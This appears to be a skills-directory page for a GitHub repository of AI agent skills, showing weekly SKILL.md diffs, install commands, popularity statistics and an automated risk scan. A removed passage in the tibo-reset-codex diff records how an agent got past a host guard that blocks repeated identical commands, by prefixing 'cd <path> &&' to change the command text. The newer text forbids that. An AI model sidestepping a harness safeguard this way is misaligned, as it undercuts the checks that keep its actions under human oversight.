Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

prompt-optimizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

promptfoo-evaluation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

qa-expert/SKILL.md

Week of Nov 2, 2026 · +3 / −2 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 89 For admission decisions, account/resource bindings or recovery that can authorize
- 90 an effect, load [admission and recovery acceptance](references/admission-recovery-acceptance.md)
+ 89 For admission decisions, account/resource bindings, retained sessions or cached
+ 90 permissions across upgrades, and recovery that can authorize an effect,
+ 91 load [admission and recovery acceptance](references/admission-recovery-acceptance.md)

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

repomix-safe-mixer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

repomix-unmixer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

report-with-html/SKILL.md

Week of Nov 2, 2026 · +15 / −25 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 50   regardless of what you draw. This line used to open with "Chosen form →", which reads as a
- 51   precondition; a 2026-08 delivery filed the file under "the implementation lookup I'll consult
- 52   if I build one of those components", never opened it, and shipped a page missing three of its
- 53   rules. The gate a step hides behind must not be a step you have not taken yet.
+ 50   regardless of what you draw.
+ 65 - Version-comparison reading order, paired evidence and full-text inspection:
+ 66   `references/version-comparison-reading.md`. Load when the page explains what
+ 67   changed between editions; keep source interpretation separate from presentation.
- 197    Use the nearest approved register; do not copy a skin blindly. (This step used to say
- 198    "the *activated* pattern reference", which let the patterns file be filed as not-yet-needed
- 199    and skipped; the SSOT map above explains why that filter cannot work here.)
+ 197    Use the nearest approved register; do not copy a skin blindly.
- 228    consumer rather than being one more thing only you referee. (It was prose-only for exactly
- 229    one version, and an independent audit named it the next rule likely to get skipped — the
- 230    variable that decides whether a step survives is not "does it produce an artifact" but
- 231    "does anything downstream consume the artifact". The visual-discipline gates were
- 232    already artifact steps when they got skipped.)
- 233 
- 234    Why this is a numbered step rather than a principle: the rule already lived in
- 235    `design-principles.md` §2 *and* in `data-visualization-discipline`, and was read in both
- 236    places immediately before a delivery that shipped eight prose sections and one geometry.
- 237    A judgment step whose only referee is its author gets **comprehended instead of executed**.
- 238    These two attributes are what let a script see whether the step happened.
+ 226    consumer rather than being one more thing only you referee.
- 244    caller's template into this Skill's update-owned `assets/`. Use actual shelf
- 245    components. If the page embeds mutable source documents, follow the long-lived-report
+ 232    caller's template into this Skill's update-owned `assets/`. Before updating an accepted
+ 233    report's facts or content, follow the [incremental maintenance recipe](references/long-lived-report-maintenance.md#63-已验收报告的有界增量更新).
+ 234    Use actual shelf components for new or changed interactions; retain the approved
+ 235    embedded implementation during a data-only update. If the page embeds mutable source documents, follow the long-lived-report
- 505 **Where a new lesson goes — two questions, in this order, before writing one into this skill.**
+ 495 **Where a new lesson goes — answer in this order before writing one into this skill.**
- 597    Two outputs to read correctly rather than wave through. The reconciler prints **how many
+ 587    Read tool output rather than wave it through. The reconciler prints **how many
- 633 5. **Delivery gate ran, and its answers describe this page** — ask for three things, because
- 634    the first two are cheap to fake and the third is what makes them mean something:
+ 623 5. **Delivery gate ran, and its answers describe this page** — check the artifacts and
+ 624    independently compare their recorded answers with the rendered evidence:
- 641    compare the two counts — the masked render is the ground truth here. **Two things before you call a mismatch:** a
+ 631    compare the two counts — the masked render is the ground truth here. **Before calling a mismatch:** a

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

scrapling-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

setup-notifications-via-wecom/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

skill-evolver/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

slides-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

teams-channel-post-writer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

terraform-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

tibo-reset-codex/SKILL.md

Week of Nov 2, 2026 · +54 / −35 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 79   本机落地状态(§2 脚本)→ [监测轮的线索决策](#监测轮从信息到可行动信号)与台账回填。
+ 79   当前已核身份的实时用量与 banked(`scripts/query_usage.py`,见账号 SOP)→
+ 80   [监测轮的线索决策](#监测轮从信息到可行动信号)与台账回填。
+ 81   先完成能回答当前问题的读取。仅在用户要求历史复盘、需要解释窗口异常,或未兑现承诺的
+ 82   发生区间确实需要匿名快照补证时执行 §2;按相关事件选择回溯天数,不默认重建七天曲线。
+ 83   匿名快照仍不能替账号补身份或独自证明到账。到期未决项继续按 `followup` 逐项核验,
+ 84   不因当前事件已有完成帖而清除旧问题;追加来源不能改变当前有界结论时停止扩查。
- 83   evidence_refs 挂链(见[预测反馈的 findings 节](references/forecast-feedback.md))。**§2 之后必须再跑一次实时 banked 查询**(`scripts/query_usage.py`,读法与字段表见
- 84   [账号 SOP](references/account-usage.md))——§2 的 rollout 快照结构上没有备用重置字段,不跑就
- 85   答不全「现在什么情况」这个最常被问的维度;只取 banked 一个数即可,并把输出里的 `account_ref` 一起记进 findings(记录规则见 forecast-feedback.md 的隐私契约,banked 计数的可比范围见账号 SOP);本条其余部分仍只管重置状态。
- 86   ⚠<U+FE0F> **scan 与 banked 不要 `&&` 串联**:scan_rollouts 无快照时 exit 1,`&&` 会把 banked 查询直接
- 87   短路掉——表面上全套像跑过了,实际少一维(2026-09-19 实测)。两条分开跑,或串联时给 scan
- 88   加 `|| true`。**循环场景下 skill 里的裸命令被 `same-cmd-resend-guard` 拦**(端点抖动失败一次
- 89   后逐字节重发即拦)——命令开头加 `cd <skill 绝对路径> &&` 换结构即放行(2026-09-19 实测)。
+ 88   evidence_refs 挂链(见[预测反馈的 findings 节](references/forecast-feedback.md))。
+ 89   **实时 banked 查询不能被 §2 替代**:rollout 快照结构上没有备用重置字段。本轮已有身份
+ 90   核实、时间仍适用的实时读数时直接复用;缺失、查询期间发生切号或新事件使旧读数失效时,
+ 91   再按[账号 SOP](references/account-usage.md#实时-api只读一个明确账号)补查并保存同次读数与
+ 92   `account_ref`;计数比较和字段判读也沿该入口执行。本条不授权切号或兑换备用。
+ 93   **scan 与 banked 独立执行并分别记录退出状态**:`scan_rollouts.py` 无快照时退出非零,
+ 94   只表示所选窗口没有观测,不能据此认定没有重置,也不能短路实时 banked 查询。参数、
+ 95   读取或运行错误仍保留失败/unknown;不要用 `|| true` 吞掉错误。
+ 96   宿主提示重复失败时,先核对失败原因和重试依据,再按提示处理;绝对路径只用于纠正
+ 97   已证实的 cwd 问题,不为改变命令文本而绕过提示。修复依赖或取得新证据后再作有依据的重试。
- 137 - 想**自动**驱动隔离 Chrome 查第二账号用量 → `node scripts/read-usage-profile.cjs`(依赖
- 138   `~/.chrome-profiles/tibo-cdp/` 的 playwright;默认 profile a)。读模式直接解析当前登录账号
+ 145 - 想**自动**驱动隔离 Chrome 查第二账号用量 → `node scripts/read-usage-profile.cjs`(默认 profile a)。
+ 146   脚本先解析普通 playwright 安装;未安装时回退到 `~/.chrome-profiles/tibo-cdp/node_modules/playwright`,
+ 147   可用 `TIBO_PLAYWRIGHT_PATH` 指定其他 playwright 包路径,不需要手工设置 `NODE_PATH`。
+ 148   读模式直接解析当前登录账号
+ 162 - **已核信息先交付。** 执行者在任一检查环节核实了会改变当前用量或时限决策的信息,先按
+ 163   宿主现有交付合同报告结论、原始来源、带时区的时限及仍未知的范围或到账状态,再继续不影响
+ 164   该提示成立的补证与收尾;不等全套检查、轮末台账或最终长答。应用托管的只读研究任务只向
+ 165   宿主提交约定产物;宿主不支持中途提交时,及时交付当前足以支持决策的结果,把剩余补证条件
+ 166   留给下一轮。沿用已有通知与重试策略,不因本条新增外送、电话或重复提醒;提交或发送回执
+ 167   不证明送达本人或取得 ACK。没有新增可行动事实时,仍按原合同报告覆盖与边界。
- 202 1. **接上上轮的问题。** 读 `forecast_log.py summary --compact`(审计或需要完整叙述时读 `summary`;compact 保留本步全部决策字段),先看 `due_for_followup`(窗口已过期或
- 203    即将关闭、尚无定论的预测——到期跟进项从这里第一眼读,不用翻 rationale;closing_soon 的
- 204    阈值定义见 forecast-feedback.md);若有 `withdrawal_conflicts`,先核对冲突的撤回与旧版核验;
- 205    若有 `recent_withdrawn`,先排除已撤回的旧窗口;也看 `snapshot.status`——`lagging` 表示台账
- 206    的 git 快照落后(原因与处置见 forecast-feedback.md 的 findings 节),要在本轮汇报里说明;
- 207    再从同一 state-dir 运行 `forecast_log.py handoff`
- 208    读取最新一条 `invocation=monitor` 的完整原始行;`findings` 子命令的紧凑列表不显示
- 209    `notes`,不能用它代替交接正文。`handoff` 返回 `null` 表示尚无监测交接,不能推断此前
- 210    没有值得追的线索。
- 211    其中的 `notes` 记录上轮尚未解决的具体问题、候选来源、下一次复查条件和用户反馈。上轮
- 212    没有记录就从当前问题与现有预测的 `revision_trigger` 建立这些项,不把空台账说成已覆盖。
- 213    本轮即使只做降频查询,也要在新 finding 的 `notes` 里结转未决项或写明已由哪条证据关闭,
- 214    使它始终能从最新轮次读回;逐字读数仍只放 `readings`,判断不得伪装成原始数据。
- 215    同一 state-dir 再运行 `forecast_log.py followup`,执行其 `event_tasks` 与
- 216    `account_tasks`,不要把输出清单当成已经查过。`confirmed_unscored` 表示事件已经确认、
- 217    预测仍不可评分,不为它继续问「重置发生了吗」;`account_followup` 单独保留已绑定账号的
- 218    未到账项。官宣的具体时刻用 `announce` 保存,字段与状态读
+ 218 1. **接上上轮的问题。** 先完整执行[本地预测反馈的回看流程](references/forecast-feedback.md#每次调用先回看),
+ 219    读完分页和所需原件,再逐项取得事件与账号证据;任务清单不代表已经核验。
+ 220    正常轮与降频轮都按[交接结转](references/forecast-feedback.md#交接结转)生成可接续的当前交接,
+ 221    将判断与原始读数分开保存。只更正一条交接事实时,执行[安全纠错流程](references/forecast-feedback.md#findings原始读数层),
+ 222    不用只有纠正内容的 monitor 替换完整交接。官宣的具体时刻用 `announce` 保存,字段与状态读
- 232    的新鲜覆盖,就按[社区增量读取](references/forecast-feedback.md#社区增量读取)调用现有
+ 236    的新鲜覆盖且该缺口会改变当前未决判断,就按[社区增量读取](references/forecast-feedback.md#社区增量读取)调用现有
+ 250    同型覆盖多轮且结论收敛(官宣完成措辞确认不存在、可归因账号证据已随上下文关闭、tracker
+ 251    与本机扫描均无新形状)时,在该轮 review 的 lesson 写明收敛结论与重开条件(官方追溯提及、
+ 252    新账号读数通道等),后续轮次不再重复同型挖掘;事件保持 unknown,不伪造失败或命中
+ 253    (2026-10-31 实测:Day21 预测四轮同结论 unknown 后收敛停止)。
- 255    **反向同样成立:官方已明文预告 global 在途时,先等落地再动备用**——global 落地即全员回满,
- 256    此刻兑现备用等于白扔库存(2026-10-11 实测:4 账号全空 + EOD 官宣在途,官宣后 5h45m 落地、
- 257    距 EOD 上限仍提前 ~3h,2 次备用保住未花)。
+ 263    官方已明文预告 global 在途时,通常先保留 banked,并核对已确认的账号适用范围、当前余额、
+ 264    到账状态,以及原本有价值工作的硬截止或延迟成本。预告上限不是保证可安全等待的窗口,
+ 265    重置可能提前;官宣也不证明本人账号已到账。工作可以等待时建议保留备用;延迟成本明确
+ 266    超过保存一张备用的价值时,给出使用备用完成原任务的条件建议及库存代价。账号状态或成本
+ 267    未核实就保留未知,不断言兑现等于浪费,也不自动兑换备用。
- 312 完全没有索引一条新的独立主帖;主帖时间线也不含 replies,所以前两条都无新仍不能跳过 reply
+ 322 完全没有索引一条新的独立主帖(滞后波动大:2026-10-31 Day26 实测发布后约 13 分钟即被索引,
+ 323 2026-10-30 Day25 实测官宣约 1 小时后仍未索引——滞后是常态而非例外,官宣发现不能依赖 Radar);主帖时间线也不含 replies,所以前两条都无新仍不能跳过 reply
- 393   `data[].author.screenName`,不是 `userName`。按[回复样本判读](references/signal-readings.md#回复样本判读)
+ 404   `data[].author.screenName`,不是 `userName`。CLI 间歇失败时顶层是 `{ok:false, error:{...}}`
+ 405   ——解析脚本先判 `ok` 再取 `data`,否则失败被 `2>/dev/null` 吞成静默空输出(2026-10-30 实测)。
+ 406   找本人追加回复用两跳法:先对承重主帖跑 `tweet <id>` 扫 `data[]` 里 `screenName==thsottiaux`
+ 407   的非主帖条目,命中后对**该回复的 id** 再跑一次 `tweet <回复id>` 取完整 parent 上下文——
+ 408   `data[]` 按相关性混排,本人回复与 parent 常不相邻(2026-10-30 实测:靠第二次调用才拿到
+ 409   「$500 档 50x?」的 parent)。按[回复样本判读](references/signal-readings.md#回复样本判读)
- 395   的发现性扫描仍走下面的网页滚动法。`twitter search`(含 `from:` 查询)实测 HTTP 404,搜索路线不可用。
+ 411   的发现性扫描仍走下面的网页滚动法。`twitter search`(含 `from:` 查询)实测 HTTP 404,搜索路线不可用
+ 412   (2026-09-24 首测,2026-10-30 复测仍 404)。
- 455 自然周期后的用量回满读数。没有前置读数时只报告当前值:banked 写「到账未核实」,global 写「发生未核实」。
+ 472 自然周期后的用量回满读数。没有前置读数时只报告当前值:banked 写「到账未核实」,global 写
+ 473 「发生未核实」。该站事件列表不完整,缺条目不可作「该日无事件」的反证(2026-10-31 实测:
+ 474 completed 列表缺 10-22/10-23 两轮台账已确认的 global 事件)。

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

tunnel-doctor/SKILL.md

Week of Nov 2, 2026 · +4 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 153 For a Codex app-server that emits neither a handshake nor a useful log, read
+ 154 [startup before the local protocol](references/codex-startup-before-handshake.md)
+ 155 before repeating the transport probe or changing authentication.
+ 156 

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

twitter-reader/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

ui-designer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

video-comparer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

windows-remote-desktop-connection-doctor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

wps-doc-scraper/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

youtube-downloader/SKILL.md

Week of Nov 2, 2026 · +1 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 94 - After a local failure, use the [existing authorized downloader handoff](references/internal-sop.md#existing-authorized-downloader-handoff) when an available owner can complete the same file request; retain the local diagnostic and original archive destination.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 7c4d326ddd94d504e00e241ba49498e95160afbe

git clone --filter=blob:none --no-checkout https://github.com/daymade/claude-code-skills.git .hotskills/daymade-claude-code-skills && git -C .hotskills/daymade-claude-code-skills checkout --detach 7c4d326ddd94d504e00e241ba49498e95160afbe # Copy each selected skill directory from .hotskills/daymade-claude-code-skills into .claude/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/daymade/claude-code-skills.git .hotskills/daymade-claude-code-skills && git -C .hotskills/daymade-claude-code-skills checkout --detach 7c4d326ddd94d504e00e241ba49498e95160afbe # Copy each selected skill directory from .hotskills/daymade-claude-code-skills into .agents/skills/<skill-name>/
1.5kGitHub stars
12stars in 7 days
121skills in this repository
568commits in 30 days

Heat

6.4
  • Star growth, last 7 daysAhead of 80% of tracked repositories
  • Star growth, last 24 hoursAhead of 85% of tracked repositories
  • Rank movement, last 7 daysAhead of 29% of tracked repositories
  • Commits, last 30 daysAhead of 99% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 6, 20261,517

Individual skills in this repository

How it works

app-evolver

When your agent uses it

Improves an existing application using its code, product contract, authorized work history and competitor evidence. Use for 取长补短、取其精华去其糟粕、参考竞品优化应用 or evolving an app from successful and failed work. Carries authorized changes through implementation and user-result verification, including REA and reverse Skill composition; use skill-evolver for Skills.

What it loads into context

Frontmatter

98 tokens

Always available to the agent

SKILL.md

1,980 tokens

When the skill is activated

Reference documents

8,835 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. 1. Bind the application and unfinished result
  2. 2. Ground opportunities and constraints
  3. 3. Decide what transfers
  4. 4. Implement the smallest useful increment
  5. 5. Verify, correct and deliver

Files

  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • ../.claude-plugin/marketplace.jsonasset59,023 bytes
  • SKILL.mdcore10,743 bytes
  • SKILL.mdcore10,743 bytes
  • SKILL.mdcore10,743 bytes
  • SKILL.mdcore10,743 bytes
  • evals/learning-and-comparison.mddoc7,090 bytes
  • references/evidence-and-fit.mddoc9,606 bytes
  • references/feature-investigation.mddoc5,705 bytes
  • references/implementation-and-acceptance.mddoc14,820 bytes
  • references/mobbin-evidence.mddoc4,150 bytes
  • references/skill-composition.mddoc5,609 bytes
  • ../peer-message/hooks/hooks.jsonasset370 bytes
  • ../peer-message/hooks/hooks.jsonasset370 bytes
Read SKILL.md

# App Evolver

Improve the application's actual user result. Extract transferable mechanisms,
resolve their fit with the current product, implement authorized improvements,
and verify them through the application's consuming surface.

Use this as an orchestration Skill. Keep repository engineering, research,
history access and release operations with their existing owners. For a Skill
target use `skill-evolver`; for competitor intelligence alone use
`competitors-analysis`; for a new product specification use the available
requirements workflow. Do not replace those owners with another execution engine.

## 1. Bind the application and unfinished result
View the complete source on GitHub

Skills included

  • app-evolver
  • auto-repo-setup
  • bilibili-source
  • cli-demo-generator
  • cloudflare-troubleshooting
  • competitors-analysis
  • cookie-copy
  • data-visualization-discipline
  • asr-transcribe-to-text
  • audio-router
  • meeting-minutes-taker
  • stepfun-asr
  • stepfun-tts
  • transcript-fixer
  • agent-web-search-setup
  • claude-code-hooks
  • claude-code-ops-router
  • claude-code-ping-start-5h-quota
  • fixing-claude-export-conversations
  • claude-md-progressive-disclosurer
  • claude-migrate-memory-to-doc
  • claude-skills-troubleshooting
  • claude-switch-models-setup
  • claude-usage-analyst
  • continue-claude-code-work
  • continue-codex-work
  • lark-cli-router
  • local-conversation-history
  • marketplace-dev
  • prior-work-retrieval
  • read-claude-code-history
  • read-claude-web-conversation
  • read-codex-history
  • statusline-generator
  • tech-selection
  • terminal-screenshot
  • codex-1m-context-window-setup
  • codex-image-gallery
  • design-style-picker
  • interaction-design-board
  • local-codex
  • doc-to-markdown
  • docs-cleaner
  • docs-router
  • docx-creator
  • excel-automation
  • mermaid-tools
  • pdf-creator
  • pdf-to-html
  • photo-to-scanned-pdf
  • ppt-creator
  • read-docx-review
  • ashare-news-fetcher
  • benchmark-due-diligence
  • bigdata-skill
  • daymade-sector-research
  • devils-advocate
  • financial-data-collector
  • financial-router
  • gangtise-copilot
  • pharma-daily-report
  • capture-screen
  • developing-ios-apps
  • macos-cleaner
  • macos-load-doctor
  • macos-permissions
  • macos-watchdog
  • skill-creator
  • skill-governance
  • skill-reviewer
  • skills-search
  • debugging-network-issues
  • deep-research
  • douban-skill
  • download-gemini-images
  • excalidraw-use
  • fact-checker
  • feishu-doc-scraper
  • floorplan-finder
  • frontend-visual-qa
  • gemini-history-analyzer
  • ghostty-use
  • git-safety-net
  • github-contributor
  • github-ops
  • github-review-pr
  • github-sensitive-data-cleanup
  • i18n-expert
  • ima-copilot
  • kimi-use
  • llm-eval-harness
  • llm-icon-finder
  • llm-wiki-setup
  • marketplace-health-check
  • meme-creator
  • notify-wecom
  • openclaw
  • openclaw-model-switch
  • peer-message
  • product-analysis
  • product-growth
  • prompt-optimizer
  • promptfoo-evaluation
  • qa-expert
  • repomix-safe-mixer
  • repomix-unmixer
  • report-with-html
  • scrapling-skill
  • setup-notifications-via-wecom
  • skill-evolver
  • slides-creator
  • teams-channel-post-writer
  • terraform-skill
  • tibo-reset-codex
  • tunnel-doctor
  • twitter-reader
  • ui-designer
  • video-comparer
  • windows-remote-desktop-connection-doctor
  • wps-doc-scraper
  • youtube-downloader

Repository facts

License
MIT
Created
Oct 22, 2025
Last pushed
Nov 5, 2026
Forks
232
Open issues
16
Project activity
Active

Rank over the last 12 weeks

Now #643 · best #468 · down 98 in 30 days

  1. #632 on Oct 30
  2. #633 on Oct 31
  3. #634 on Nov 1
  4. #637 on Nov 2
  5. #640 on Nov 3
  6. #643 since Nov 4
70 earlier periods
  1. #461 on Aug 2
  2. #463 from Aug 7 to Aug 8
  3. #461 on Aug 9
  4. #480 on Aug 10
  5. #477 from Aug 11 to Aug 12
  6. #485 on Aug 13
  7. #484 on Aug 14
  8. #468 on Aug 15
  9. #472 on Aug 16
  10. #489 on Aug 18
  11. #486 on Aug 19
  12. #482 on Aug 21
  13. #491 on Aug 23
  14. #490 on Aug 24
  15. #499 on Aug 25
  16. #491 on Aug 26
  17. #504 on Aug 27
  18. #502 on Aug 28
  19. #490 on Aug 29
  20. #481 on Aug 30
  21. #501 on Aug 31
  22. #507 on Sep 1
  23. #501 on Sep 2
  24. #508 on Sep 3
  25. #495 on Sep 4
  26. #502 on Sep 6
  27. #503 on Sep 7
  28. #507 on Sep 9
  29. #512 on Sep 10
  30. #509 on Sep 11
  31. #505 on Sep 12
  32. #503 on Sep 13
  33. #520 on Sep 14
  34. #513 on Sep 15
  35. #525 on Sep 16
  36. #522 on Sep 17
  37. #523 on Sep 18
  38. #508 on Sep 19
  39. #519 on Sep 20
  40. #521 on Sep 21
  41. #528 on Sep 22
  42. #521 on Sep 23
  43. #508 on Sep 25
  44. #527 from Sep 27 to Sep 28
  45. #544 on Sep 29
  46. #533 on Sep 30
  47. #526 on Oct 1
  48. #529 on Oct 2
  49. #517 on Oct 4
  50. #527 on Oct 5
  51. #545 on Oct 7
  52. #563 on Oct 8
  53. #560 on Oct 9
  54. #549 on Oct 10
  55. #547 on Oct 11
  56. #559 on Oct 12
  57. #560 on Oct 13
  58. #566 on Oct 14
  59. #563 on Oct 15
  60. #564 on Oct 16
  61. #557 on Oct 17
  62. #554 on Oct 18
  63. #572 on Oct 19
  64. #580 on Oct 20
  65. #584 on Oct 21
  66. #570 on Oct 22
  67. #564 on Oct 23
  68. #617 on Oct 25
  69. #626 on Oct 28
  70. #629 on Oct 29

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 1,090 notes
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • app-evolver/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • app-evolver/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • app-evolver/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • peer-message/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • auto-repo-setup/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • auto-repo-setup/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • auto-repo-setup/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • auto-repo-setup/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • bilibili-source/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • bilibili-source/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 8,606 signals by file

.claude-plugin/marketplace.json

  • Access to secretsline 335
    [Credential-related source omitted]
  • Network accessline 617
    {       "name": "llm-eval-harness",       "description": "Tests/benchmarks a third-party LLM endpoint (OpenAI- or Anthropic-compatible): availability, fidelity, speed, concurrency, protocol compliance, quality regression. Use before hand-ro
  • Network accessline 618
    "name": "llm-eval-harness",       "description": "Tests/benchmarks a third-party LLM endpoint (OpenAI- or Anthropic-compatible): availability, fidelity, speed, concurrency, protocol compliance, quality regression. Use before hand-rolling a 
  • Dangerous shell operationline 619
